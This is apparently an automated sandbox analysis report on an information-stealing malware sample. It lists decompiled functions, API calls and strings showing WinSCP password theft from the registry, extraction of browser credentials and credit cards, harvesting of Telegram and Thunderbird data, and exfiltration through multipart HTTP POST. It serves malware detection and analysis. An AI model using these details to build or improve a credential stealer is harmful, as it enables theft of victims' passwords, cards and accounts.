RegGetValueA.ADVAPI32(?,?,UserName,00000002,00000000,?,?,?,?,?,?,00000001,00000000,passwords.txt), ref: 00413930
_fprintf.LIBCMT ref: 0041393F
RegGetValueA.ADVAPI32(?,?,Password,00000002,00000000,?,?,?,?,?,?,?,?,?,00000001,00000000), ref: 00413971

Part of subcall function 0041322B: __EH_prolog3.LIBCMT ref: 00413244
Part of subcall function 0041322B: GetProcessHeap.KERNEL32(00000008,?,0000002C), ref: 004132B0
Part of subcall function 0041322B: HeapAlloc.KERNEL32(00000000), ref: 004132B3
Part of subcall function 0041322B: GetProcessHeap.KERNEL32(00000000,?), ref: 004132C9
Part of subcall function 0041322B: HeapFree.KERNEL32(00000000), ref: 004132CC

Part of subcall function 004046B4: _memmove.LIBCMT ref: 004046D6

Part of subcall function 00402CD0: _memmove.LIBCMT ref: 00402CEF

_fprintf.LIBCMT ref: 004139C3
RegEnumKeyExA.ADVAPI32(?,00000000,?,00000104,00000000,00000000,00000000,00000000,00000001,00000000,00000000), ref: 004139EA
RegCloseKey.ADVAPI32(?,00000001,00000000,?,?,?,?,?,?,?,00000001,00000000,passwords.txt), ref: 00413A17

Strings

:%s, xrefs: 004138DE
Host: , xrefs: 00413856
Software\Martin Prikryl\WinSCP 2\Configuration, xrefs: 00413741
Soft: WinSCP, xrefs: 0041384B
UserName, xrefs: 00413921
Security, xrefs: 0041376A
PortNumber, xrefs: 004138A6
HostName, xrefs: 00413872
Password, xrefs: 0041395F
Software\Martin Prikryl\WinSCP 2\Sessions, xrefs: 004137BB
UseMasterPassword, xrefs: 00413765
Login: , xrefs: 00413906
:22, xrefs: 004138F9
passwords.txt, xrefs: 00413805
Password: %s, xrefs: 004139BD

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _fprintf$CloseValue$Heap_memset$EnumH_prolog3OpenProcess_memmove$AllocFree
String ID: Login: $Password: %s$:%s$:22$Host: $HostName$Password$PortNumber$Security$Soft: WinSCP$Software\Martin Prikryl\WinSCP 2\Configuration$Software\Martin Prikryl\WinSCP 2\Sessions$UseMasterPassword$UserName$passwords.txt
API String ID: 2505226420-1600676177
Opcode ID: b1f439b427cf368186053285f9086994e6cee25bd7459c4094bca62913783d5c
Instruction ID: 549c353064c69772ae4d8435066ebdf221e70eb495c398f864a2d8b7e7bc5e18
Opcode Fuzzy Hash: b1f439b427cf368186053285f9086994e6cee25bd7459c4094bca62913783d5c
Instruction Fuzzy Hash: 06B13DB190420DEEDB11EF90DC81EEE77BCFF04304F14052BF915A6191EB799A458B69

Uniqueness

Uniqueness Score: -1.00%

Function 004125BF, Relevance: 47.5, APIs: 22, Strings: 5, Instructions: 257filestringCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 004125DE
GetCurrentDirectoryA.KERNEL32(00000104,?,00000020), ref: 0041260D
lstrcatA.KERNEL32(?,\temp), ref: 0041261C
CopyFileA.KERNEL32 ref: 00412629
DeleteFileA.KERNEL32(?), ref: 00412897

Part of subcall function 004695EE: __fsopen.LIBCMT ref: 004695FB

Part of subcall function 00412474: __EH_prolog3_GS.LIBCMT ref: 0041247B
Part of subcall function 00412474: _memset.LIBCMT ref: 004124D6
Part of subcall function 00412474: LocalAlloc.KERNEL32 ref: 00412511

_fprintf.LIBCMT ref: 0041271F
_fprintf.LIBCMT ref: 0041272D
_fprintf.LIBCMT ref: 00412734
_fprintf.LIBCMT ref: 00412742
_fprintf.LIBCMT ref: 00412749
_fprintf.LIBCMT ref: 00412757
_fprintf.LIBCMT ref: 0041275E
_fprintf.LIBCMT ref: 004127A1
_fprintf.LIBCMT ref: 004127B3
_fprintf.LIBCMT ref: 004127C1

Part of subcall function 0046835C: __lock_file.LIBCMT ref: 004683A3
Part of subcall function 0046835C: __stbuf.LIBCMT ref: 00468427
Part of subcall function 0046835C: __output_l.LIBCMT ref: 00468437
Part of subcall function 0046835C: __ftbuf.LIBCMT ref: 00468441

_fprintf.LIBCMT ref: 004127C8
_fprintf.LIBCMT ref: 004127D6
_fprintf.LIBCMT ref: 004127DD
_fprintf.LIBCMT ref: 004127EB
_fprintf.LIBCMT ref: 004127F2
_fprintf.LIBCMT ref: 00412835
_fprintf.LIBCMT ref: 0041284F

Strings

\temp, xrefs: 00412613
Host: %s, xrefs: 0041273C, 004127D0
Password: %s, xrefs: 0041279B, 0041282F
Login: %s, xrefs: 00412751, 004127E5
Soft: %s, xrefs: 00412727, 004127BB

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _fprintf$File$AllocCopyCurrentDeleteDirectoryH_prolog3H_prolog3_Local__fsopen__ftbuf__lock_file__output_l__stbuf_memsetlstrcat
String ID: Host: %s$Login: %s$Password: %s$Soft: %s$\temp
API String ID: 742969294-2676079308
Opcode ID: 9b8e54e3261377f01fd947e897685e197660b70fac05e2d73e00e043c6c5702f
Instruction ID: d9dc442428994d9dd436ba45e4c568b9849aac67de50ca6e8163ccbd64d1daf8
Opcode Fuzzy Hash: 9b8e54e3261377f01fd947e897685e197660b70fac05e2d73e00e043c6c5702f
Instruction Fuzzy Hash: E6817072900218AFDF05BBA19D02EEF7768EF04718F54052EF900B6292EE795D51876E

Uniqueness

Uniqueness Score: -1.00%

Function 0040E48C, Relevance: 42.3, APIs: 18, Strings: 6, Instructions: 277networkCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0040E4AB
__cftof.LIBCMT ref: 0040E56D
InternetOpenA.WININET(0000002F,00000000,?,00000000,00000000), ref: 0040E588
InternetSetOptionA.WININET(00000000,00000041,?,00000004), ref: 0040E5AB
InternetConnectA.WININET(00000000,00000000,00000050,?,?,00000003,00000000,00000001), ref: 0040E5CC
InternetSetOptionA.WININET(00000000,00000041,00000001,00000000), ref: 0040E5E5
HttpOpenRequestA.WININET(00000000,POST,?,00000000,00000000,00000000,00400000,00000001), ref: 0040E608
HttpAddRequestHeadersA.WININET(00000000,?,?,20000000), ref: 0040E662
__itow_s.LIBCMT ref: 0040E676
HttpAddRequestHeadersA.WININET(00000000,?,?,20000000), ref: 0040E6C5
HttpSendRequestA.WININET(00000000,00000000,00000000,?,?), ref: 0040E6D3
HttpQueryInfoA.WININET(00000000,0000002E,?,00000010,00000000), ref: 0040E6F0
InternetCloseHandle.WININET(00000000), ref: 0040E6FB
__cftof.LIBCMT ref: 0040E727

Part of subcall function 0046910A: __mbsnbcpy_s_l.LIBCMT ref: 0046911D

InternetOpenUrlA.WININET(00000010,00000000,00000000,00000000,00400000,00000000), ref: 0040E73B
InternetCloseHandle.WININET(00000000), ref: 0040E750
InternetCloseHandle.WININET(?), ref: 0040E768
InternetCloseHandle.WININET(00000010), ref: 0040E771

Part of subcall function 0040DDDE: __EH_prolog3.LIBCMT ref: 0040DDFD
Part of subcall function 0040DDDE: InternetSetFilePointer.WININET(?,00000000,00000000,00000000,00000000), ref: 0040DE37
Part of subcall function 0040DDDE: InternetReadFile.WININET(00000010,?,000003E8,?), ref: 0040DE51
Part of subcall function 0040DDDE: _memmove.LIBCMT ref: 0040DE86
Part of subcall function 0040DDDE: _memset.LIBCMT ref: 0040DEB7
Part of subcall function 0040DDDE: HttpQueryInfoA.WININET(00000010,0000001D,?,?,00000000), ref: 0040DECD

Strings

--, xrefs: 0040E4E8
POST, xrefs: 0040E602
Content-Type: multipart/form-data; boundary=, xrefs: 0040E622
http, xrefs: 0040E70B
Content-Length: , xrefs: 0040E680
http://, xrefs: 0040E50B

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Internet$Http$CloseHandleRequest$Open$FileH_prolog3HeadersInfoOptionQuery__cftof$ConnectPointerReadSend__itow_s__mbsnbcpy_s_l_memmove_memset
String ID: --$Content-Length: $Content-Type: multipart/form-data; boundary=$POST$http$http://
API String ID: 3912242280-1095625359
Opcode ID: e1cd21aa4b02c6298cb15996f87961eba4a44cdbc999e19e9171f47c45089922
Instruction ID: 4e9fe46b64a5a68344a2cd1d8430ce8f56eab6cb6f9070305da0805329ea0935
Opcode Fuzzy Hash: e1cd21aa4b02c6298cb15996f87961eba4a44cdbc999e19e9171f47c45089922
Instruction Fuzzy Hash: 6CA17171500208BFEB11EFA5CC85EEE77ACEB54704F40083EF902A71C1DBB99A458B69

Uniqueness

Uniqueness Score: -1.00%

Function 00412190, Relevance: 38.7, APIs: 16, Strings: 6, Instructions: 245libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 004121C1
GetProcAddress.KERNEL32(00000000), ref: 004121E2
GetProcAddress.KERNEL32(00000000), ref: 004121F0
GetProcAddress.KERNEL32(00000000), ref: 004121FE
GetProcAddress.KERNEL32(00000000), ref: 0041220C
GetProcAddress.KERNEL32(00000000), ref: 0041221A
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,?,00000100,00000000,00000000,00000001,00000000,passwords.txt), ref: 00412329
_fprintf.LIBCMT ref: 0041233A
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,?,00000100,00000000,00000000), ref: 00412357
_fprintf.LIBCMT ref: 00412365
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,?,00000100,00000000,00000000), ref: 00412385
_fprintf.LIBCMT ref: 00412396
_fprintf.LIBCMT ref: 004123C7
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,?,00000100,00000000,00000000), ref: 004123E8
_fprintf.LIBCMT ref: 004123F9
FreeLibrary.KERNEL32(00000000), ref: 00412457

Strings

Login: %s, xrefs: 0041238E
Soft: %s, xrefs: 00412332
Password: %s, xrefs: 004123F1
Host: %s, xrefs: 0041235D
passwords.txt, xrefs: 0041229F
Password: , xrefs: 004123BF

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AddressProc_fprintf$ByteCharMultiWide$Library$FreeLoad
String ID: Host: %s$Login: %s$Password: $Password: %s$Soft: %s$passwords.txt
API String ID: 1561987134-3130916318
Opcode ID: e6300e65373c509f9a1ce3e25db0ab6e4eb333436d24830e87314ae1f7d07127
Instruction ID: 4a20572128d85844788989d75c1977480bb766bc5272ee3ee2df8598a28250e5
Opcode Fuzzy Hash: e6300e65373c509f9a1ce3e25db0ab6e4eb333436d24830e87314ae1f7d07127
Instruction Fuzzy Hash: F18138B2900218AFDB10DFA6DD85DAEBBB9FB08314F14053EE415E72A1E7359941CF19

Uniqueness

Uniqueness Score: -1.00%

Function 00456340, Relevance: 37.5, APIs: 2, Strings: 19, Instructions: 735COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004566CD
_memmove.LIBCMT ref: 004567D3

Strings

there is already a table named %s, xrefs: 0045652F
sqlite_autoindex_%s_%d, xrefs: 0045658D
conflicting ON CONFLICT clauses specified, xrefs: 004569DE
views may not be indexed, xrefs: 004564C2
index %s already exists, xrefs: 00456554
table %s may not be indexed, xrefs: 004564B2
table %s has no column named %s, xrefs: 004568AA
name='%q' AND type='index', xrefs: 00456B23
virtual tables may not be indexed, xrefs: 004564CF
BINARY, xrefs: 004567F7, 004568FC
CREATE%s INDEX %.*s, xrefs: 00456AAD
cannot create a TEMP index on non-TEMP table "%s", xrefs: 0045642F
altertab_, xrefs: 0045649F
sqlite_master, xrefs: 004565B5, 004565C0, 00456ACB
sqlite_temp_master, xrefs: 004565AE, 00456AC4, 00456AE0
sqlite_, xrefs: 0045647A
index, xrefs: 004563E4
INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);, xrefs: 00456AEA
UNIQUE, xrefs: 00456AA2

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _memmove
String ID: UNIQUE$BINARY$CREATE%s INDEX %.*s$INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);$altertab_$cannot create a TEMP index on non-TEMP table "%s"$conflicting ON CONFLICT clauses specified$index$index %s already exists$name='%q' AND type='index'$sqlite_$sqlite_autoindex_%s_%d$sqlite_master$sqlite_temp_master$table %s has no column named %s$table %s may not be indexed$there is already a table named %s$views may not be indexed$virtual tables may not be indexed
API String ID: 4104443479-1477264830
Opcode ID: 2113d85e99753f66373caf78b47523e09ff3d851223bff9b0b6d95499288d3b2
Instruction ID: 7df5abb7e72dea23ae150f69680e5c92613175fc996472ae77846fc8e6b4dd78
Opcode Fuzzy Hash: 2113d85e99753f66373caf78b47523e09ff3d851223bff9b0b6d95499288d3b2
Instruction Fuzzy Hash: 7B528F71A00219AFCF14DF69C881AAEBBF1EF08315F55405AEC05AB352D739ED85CB98

Uniqueness

Uniqueness Score: -1.00%

Function 00414DAB, Relevance: 35.4, APIs: 8, Strings: 12, Instructions: 430fileCOMMON

Download Yara Rule

APIs

__wgetenv.LIBCMT ref: 00414DB0

Part of subcall function 00404C99: __EH_prolog3.LIBCMT ref: 00404CA0

Part of subcall function 004046B4: _memmove.LIBCMT ref: 004046D6

Part of subcall function 00402CD0: _memmove.LIBCMT ref: 00402CEF

Part of subcall function 00414747: __EH_prolog3_catch_GS.LIBCMT ref: 00414751

__wgetenv.LIBCMT ref: 00414E55

Part of subcall function 00468D4A: _strnlen.LIBCMT ref: 00468D7F
Part of subcall function 00468D4A: __lock.LIBCMT ref: 00468D90
Part of subcall function 00468D4A: __getenv_helper_nolock.LIBCMT ref: 00468D9D

__wgetenv.LIBCMT ref: 00414F09

Part of subcall function 00414747: _fprintf.LIBCMT ref: 00414A32
Part of subcall function 00414747: _fprintf.LIBCMT ref: 00414A42
Part of subcall function 00414747: _fprintf.LIBCMT ref: 00414B47
Part of subcall function 00414747: _fprintf.LIBCMT ref: 00414B5A
Part of subcall function 00414747: _fprintf.LIBCMT ref: 00414B7D
Part of subcall function 00414747: _fprintf.LIBCMT ref: 00414B8E
Part of subcall function 00414747: _fprintf.LIBCMT ref: 00414BB2
Part of subcall function 00414747: _fprintf.LIBCMT ref: 00414BBE

Part of subcall function 0040F96F: OpenProcess.KERNEL32(001FFFFF,00000000,00000000,?,?,?,0049B0CC,00000000,?,00414FC4), ref: 0040F994
Part of subcall function 0040F96F: TerminateProcess.KERNEL32(00000000,00000000,?,?,?,0049B0CC,00000000,?,00414FC4), ref: 0040F9A4
Part of subcall function 0040F96F: CloseHandle.KERNEL32(00000000,?,?,?,0049B0CC,00000000,?,00414FC4), ref: 0040F9AB
Part of subcall function 0040F96F: _free.LIBCMT ref: 0040F9B9

Part of subcall function 00413BE0: __EH_prolog3.LIBCMT ref: 00413BFF
Part of subcall function 00413BE0: _memset.LIBCMT ref: 00413C29
Part of subcall function 00413BE0: lstrcatA.KERNEL32(?,?,?,0000001A,?,?,00000014), ref: 00413C4A
Part of subcall function 00413BE0: _memset.LIBCMT ref: 00413C55
Part of subcall function 00413BE0: lstrcatA.KERNEL32(?,?,?,?,?,?,?,00000014), ref: 00413C68
Part of subcall function 00413BE0: lstrcatA.KERNEL32(?,\Local State,?,?,?,?,?,00000014), ref: 00413C76

Part of subcall function 00413A4A: __EH_prolog3.LIBCMT ref: 00413A69
Part of subcall function 00413A4A: _memset.LIBCMT ref: 00413A93
Part of subcall function 00413A4A: lstrcatA.KERNEL32(?,?,?,0000001C,?,?,00000014), ref: 00413AB4
Part of subcall function 00413A4A: _memset.LIBCMT ref: 00413ABF
Part of subcall function 00413A4A: lstrcatA.KERNEL32(?,?,?,?,?,?,?,00000014), ref: 00413AD2
Part of subcall function 00413A4A: lstrcatA.KERNEL32(?,004867F4,?,?,?,?,?,00000014), ref: 00413AE0
Part of subcall function 00413A4A: lstrcatA.KERNEL32(?,?,?,?,?,?,00000014), ref: 00413AEF

CreateDirectoryA.KERNEL32(00000000), ref: 004152E7
_memset.LIBCMT ref: 00415302
__wgetenv.LIBCMT ref: 0041530C
DeleteFileA.KERNEL32(00488C54,?,004866C4), ref: 004153AA
DeleteFileA.KERNEL32(00488C50,?,004866C4), ref: 004153B1

Part of subcall function 0041442A: __EH_prolog3.LIBCMT ref: 00414449
Part of subcall function 0041442A: __wgetenv.LIBCMT ref: 00414455
Part of subcall function 0041442A: CreateDirectoryA.KERNEL32(00000000,00000000,?,?,?), ref: 00414501
Part of subcall function 0041442A: CreateDirectoryA.KERNEL32(00000000,00000000,?,00000001,00000000,?,?,?), ref: 00414538

Part of subcall function 0040E962: _memset.LIBCMT ref: 0040E983
Part of subcall function 0040E962: GetVersionExA.KERNEL32(?), ref: 0040E99C

Part of subcall function 00412190: LoadLibraryA.KERNEL32 ref: 004121C1
Part of subcall function 00412190: GetProcAddress.KERNEL32(00000000), ref: 004121E2
Part of subcall function 00412190: GetProcAddress.KERNEL32(00000000), ref: 004121F0
Part of subcall function 00412190: GetProcAddress.KERNEL32(00000000), ref: 004121FE
Part of subcall function 00412190: GetProcAddress.KERNEL32(00000000), ref: 0041220C
Part of subcall function 00412190: GetProcAddress.KERNEL32(00000000), ref: 0041221A

Strings

*.txt, xrefs: 00414E21, 00414F6D
LOCALAPPDATA, xrefs: 00414E50, 00414F04
key_datas, xrefs: 00415353
Thunderbird, xrefs: 004152AD
\Thunderbird\Profiles\, xrefs: 004152B2
\CryptoTab Browser\User Data\, xrefs: 00415271
*.cookie, xrefs: 00414EC6
map*, xrefs: 0041537D
D877F783D5D3EF8C*, xrefs: 0041536B
\Telegram Desktop\, xrefs: 00415348
APPDATA, xrefs: 00414DAB, 00415307
CryptoTab Browser, xrefs: 0041526C

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _fprintf$lstrcat$_memset$AddressProc__wgetenv$H_prolog3$CreateDirectory$DeleteFileProcess_memmove$CloseH_prolog3_catch_HandleLibraryLoadOpenTerminateVersion__getenv_helper_nolock__lock_free_strnlen
String ID: *.cookie$*.txt$APPDATA$CryptoTab Browser$D877F783D5D3EF8C*$LOCALAPPDATA$Thunderbird$\CryptoTab Browser\User Data\$\Telegram Desktop\$\Thunderbird\Profiles\$key_datas$map*
API String ID: 2957431141-3347235640
Opcode ID: a87791e2d345e23b6844a243f8d4becbc291deafe6820b312ea54c8cd01a1b79
Instruction ID: 5f3eaf53055c4b8f83347f078811056876cc6a46163f3b24e07ec08fd0e81f75
Opcode Fuzzy Hash: a87791e2d345e23b6844a243f8d4becbc291deafe6820b312ea54c8cd01a1b79
Instruction Fuzzy Hash: 96F16070904244AFDF06FF66DD569AD3F66BFA4309B04003FF802272A1DABA4A54DB5D

Uniqueness

Uniqueness Score: -1.00%

Function 00412B76, Relevance: 35.2, APIs: 14, Strings: 6, Instructions: 173filestringCOMMON

Download Yara Rule

APIs

GetCurrentDirectoryA.KERNEL32(00000104,?), ref: 00412BC8
lstrcatA.KERNEL32(?,\temp), ref: 00412BDA
CopyFileA.KERNEL32 ref: 00412BEA
_memset.LIBCMT ref: 00412BF7
_sprintf.LIBCMT ref: 00412C09
DeleteFileA.KERNEL32(?), ref: 00412D78

Part of subcall function 004695EE: __fsopen.LIBCMT ref: 004695FB

_fprintf.LIBCMT ref: 00412CAB
_fprintf.LIBCMT ref: 00412CB2

Part of subcall function 0046835C: __lock_file.LIBCMT ref: 004683A3
Part of subcall function 0046835C: __stbuf.LIBCMT ref: 00468427
Part of subcall function 0046835C: __output_l.LIBCMT ref: 00468437
Part of subcall function 0046835C: __ftbuf.LIBCMT ref: 00468441

_fprintf.LIBCMT ref: 00412CBE
_fprintf.LIBCMT ref: 00412CC5
_fprintf.LIBCMT ref: 00412CD6
_fprintf.LIBCMT ref: 00412CDD

Part of subcall function 00412474: __EH_prolog3_GS.LIBCMT ref: 0041247B
Part of subcall function 00412474: _memset.LIBCMT ref: 004124D6
Part of subcall function 00412474: LocalAlloc.KERNEL32 ref: 00412511

_fprintf.LIBCMT ref: 00412D21

Part of subcall function 00402CD0: _memmove.LIBCMT ref: 00402CEF

_fprintf.LIBCMT ref: 00412D3D

Strings

\temp, xrefs: 00412BCE
Year: %s, xrefs: 00412CD0
CC\%s_%s.txt, xrefs: 00412C03
Card: %s, xrefs: 00412D15
Month: %s, xrefs: 00412CB8
Name: %s, xrefs: 00412CA2

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _fprintf$File_memset$AllocCopyCurrentDeleteDirectoryH_prolog3_Local__fsopen__ftbuf__lock_file__output_l__stbuf_memmove_sprintflstrcat
String ID: CC\%s_%s.txt$Card: %s$Month: %s$Name: %s$Year: %s$\temp
API String ID: 3490499488-3508537252
Opcode ID: 2396dbf9ee3e1e3d0eafdaa860f3d2f4b5cbe97e5fb546f5e64c096204eadefe
Instruction ID: 91c911e916729c436df81f36103b2bca02794671e4c6e27571ba552f4cf11a64
Opcode Fuzzy Hash: 2396dbf9ee3e1e3d0eafdaa860f3d2f4b5cbe97e5fb546f5e64c096204eadefe
Instruction Fuzzy Hash: D6518272940208ABDF21ABA1DC42FDE77BCAF04708F20052FF904B7192EF7999458B59

Uniqueness

Uniqueness Score: -1.00%

Function 004128C0, Relevance: 33.5, APIs: 16, Strings: 3, Instructions: 228stringfileCOMMON

Download Yara Rule

APIs

GetCurrentDirectoryA.KERNEL32(00000104,?), ref: 00412912
lstrcatA.KERNEL32(?,\temp), ref: 00412927
CopyFileA.KERNEL32 ref: 00412930
_memset.LIBCMT ref: 00412940
lstrcatA.KERNEL32(?), ref: 00412955
lstrcatA.KERNEL32(?,004867F4), ref: 00412963
lstrcatA.KERNEL32(?,?), ref: 0041296F
lstrcatA.KERNEL32(?,00488A04), ref: 0041297D
lstrcatA.KERNEL32(?,?), ref: 00412989
lstrcatA.KERNEL32(?,.txt), ref: 00412997
DeleteFileA.KERNEL32(?), ref: 00412B58

Part of subcall function 004695EE: __fsopen.LIBCMT ref: 004695FB

lstrcatA.KERNEL32(?), ref: 00412A76
lstrcatA.KERNEL32(?), ref: 00412AA0
lstrcatA.KERNEL32(?,004886F4), ref: 00412AB5
_fprintf.LIBCMT ref: 00412B04
_fprintf.LIBCMT ref: 00412B20

Strings

\temp, xrefs: 0041291E
%s%s%s%s%s%s%s, xrefs: 00412AFC
.txt, xrefs: 0041298B

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: lstrcat$File_fprintf$CopyCurrentDeleteDirectory__fsopen_memset
String ID: %s%s%s%s%s%s%s$.txt$\temp
API String ID: 1987428508-1558371589
Opcode ID: 81c4911eac8a4a4a0438bb6619e481cf43ca5f1724d55685de3ee5b37c5e38da
Instruction ID: 7ce8129a2802f398fc72dbf2ef0ab1cff2e98d7b49b8b5524b4d8ca9a7786b49
Opcode Fuzzy Hash: 81c4911eac8a4a4a0438bb6619e481cf43ca5f1724d55685de3ee5b37c5e38da
Instruction Fuzzy Hash: 1B718072D00248AFEF20AFE5DC41FDEBBB9EF04304F10042AF504EB1A1EA7999549B59

Uniqueness

Uniqueness Score: -1.00%

Function 0040E237, Relevance: 33.4, APIs: 6, Strings: 13, Instructions: 196fileCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 0040E23E
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000,0000006C,0040C825,logs,?,00000001,?,00000001), ref: 0040E261
GetFileSize.KERNEL32(00000000,00000000,?,00000001), ref: 0040E275
CloseHandle.KERNEL32(?,?,00000001), ref: 0040E286

Strings

Content-Disposition: form-data; name=", xrefs: 0040E3AF
image/png, xrefs: 0040E367
., xrefs: 0040E2FF
image/gif, xrefs: 0040E34D
image/jpeg, xrefs: 0040E333
image/tiff, xrefs: 0040E37E
", xrefs: 0040E3E5
Content-Type: , xrefs: 0040E3F1
"; filename=", xrefs: 0040E3C5
tiff, xrefs: 0040E36E
gif, xrefs: 0040E33A
jpg, xrefs: 0040E319
png, xrefs: 0040E354

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: File$CloseCreateH_prolog3_HandleSize
String ID: "$"; filename="$.$Content-Disposition: form-data; name="$Content-Type: $gif$image/gif$image/jpeg$image/png$image/tiff$jpg$png$tiff
API String ID: 3151384386-4065671631
Opcode ID: d43d5df8090efd71ded8e5e8e1372e92f45a11b09b3af872d3700a9dd59e51b5
Instruction ID: 5f9dc999d8e4efecb811950ffe2a50289651f9179956f6ace4097c70ae0cad71
Opcode Fuzzy Hash: d43d5df8090efd71ded8e5e8e1372e92f45a11b09b3af872d3700a9dd59e51b5
Instruction Fuzzy Hash: 6F618F31F44308AADB10EBA5C891EEEB7B8AF54B04F10452FF502B71C2DB785A49CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00414747, Relevance: 30.2, APIs: 16, Strings: 1, Instructions: 413COMMON

Download Yara Rule

APIs

__EH_prolog3_catch_GS.LIBCMT ref: 00414751

Part of subcall function 00404DBE: __EH_prolog3.LIBCMT ref: 00404DC5

Part of subcall function 004625F7: __EH_prolog3_GS.LIBCMT ref: 00462601
Part of subcall function 004625F7: FindFirstFileW.KERNEL32(00000000,?,?,?,00000298,0040CF5D,?), ref: 0046263A
Part of subcall function 004625F7: FindNextFileW.KERNEL32(?,?,00000001,00000000,?,?,00000001,00000000), ref: 004626CB

Part of subcall function 00462247: MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000011,00000000,00000000,000003E8,?,00000000,?,?,?,0040DF45,?,?,?), ref: 00462276
Part of subcall function 00462247: MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,?,?,00000000,?,?,?,0040DF45,?,?,?,?), ref: 004622A5

Part of subcall function 0040326C: std::_Xinvalid_argument.LIBCPMT ref: 00403286

_fprintf.LIBCMT ref: 00414A32
_fprintf.LIBCMT ref: 00414A42
_fprintf.LIBCMT ref: 00414AA5
_fprintf.LIBCMT ref: 00414AB5
_fprintf.LIBCMT ref: 00414AF8
_fprintf.LIBCMT ref: 00414B27
_fprintf.LIBCMT ref: 00414B37
_fprintf.LIBCMT ref: 00414B47
_fprintf.LIBCMT ref: 00414B5A
_fprintf.LIBCMT ref: 00414B7D
_fprintf.LIBCMT ref: 00414B8E
_fprintf.LIBCMT ref: 00414BB2
_fprintf.LIBCMT ref: 00414BBE
_fprintf.LIBCMT ref: 00414BE7
_fprintf.LIBCMT ref: 00414BF7

Part of subcall function 004046B4: _memmove.LIBCMT ref: 004046D6

Part of subcall function 00402CD0: _memmove.LIBCMT ref: 00402CEF

Strings

FALSE, xrefs: 00414A37, 00414AAA, 00414B2C, 00414B4F

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _fprintf$ByteCharFileFindMultiWide_memmove$FirstH_prolog3H_prolog3_H_prolog3_catch_NextXinvalid_argumentstd::_
String ID: FALSE
API String ID: 1663285408-4287395501
Opcode ID: 44a1ec462830f477418d8046bd11bf3d3bf45db8058350e6f9ab0a74b709057e
Instruction ID: 1637e8c4a4832394d7d9e27fab7e908c34394cd2b1fbd05082f64e739c0d9bda
Opcode Fuzzy Hash: 44a1ec462830f477418d8046bd11bf3d3bf45db8058350e6f9ab0a74b709057e
Instruction Fuzzy Hash: 93F16CB1804218AADB24EB59DD91FEEB778AF51304F1041EFE10AB2181EB745EC4DF69

Uniqueness

Uniqueness Score: -1.00%

Function 0045EFEC, Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 185registryCOMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 0045F00E

Part of subcall function 00411D0F: __EH_prolog3.LIBCMT ref: 00411D16

Part of subcall function 00402CD0: _memmove.LIBCMT ref: 00402CEF

RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall,00000000,00020019,?,00000001,00000000,00000000,00000003,00000001,004866C4,00000000,000000CC), ref: 0045F08C
RegEnumKeyExA.KERNEL32(?,?,?,0000000F,00000000,00000000,00000000,00000000), ref: 0045F0D9
wsprintfA.USER32 ref: 0045F100
RegOpenKeyExA.KERNEL32(80000002,?,00000000,00020019,?), ref: 0045F114
RegCloseKey.ADVAPI32(?), ref: 0045F121
RegCloseKey.ADVAPI32(?), ref: 0045F12A

Part of subcall function 00411D79: __EH_prolog3.LIBCMT ref: 00411D80

Strings

DisplayVersion, xrefs: 0045F183
DisplayName, xrefs: 0045F145
%s\%s, xrefs: 0045F0FA
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall, xrefs: 0045F069, 0045F06E, 0045F0F1, 0045F0F6

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CloseH_prolog3Open$EnumH_prolog3_catch_memmovewsprintf
String ID: %s\%s$DisplayName$DisplayVersion$SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
API String ID: 951852247-3586320934
Opcode ID: dce77e8c28fb35279812e49b463e6373fef6250b45cedeb49a8726129dcfb625
Instruction ID: a6d70bf56b8a510df44a81cb25e35a6ae6e07f0f0a97d699acee502c4b1abd0f
Opcode Fuzzy Hash: dce77e8c28fb35279812e49b463e6373fef6250b45cedeb49a8726129dcfb625
Instruction Fuzzy Hash: 31611FB280014DAFDB14EFD1DC85EEEBBBCEB18304F10447BFA05A6151DB385A498B69

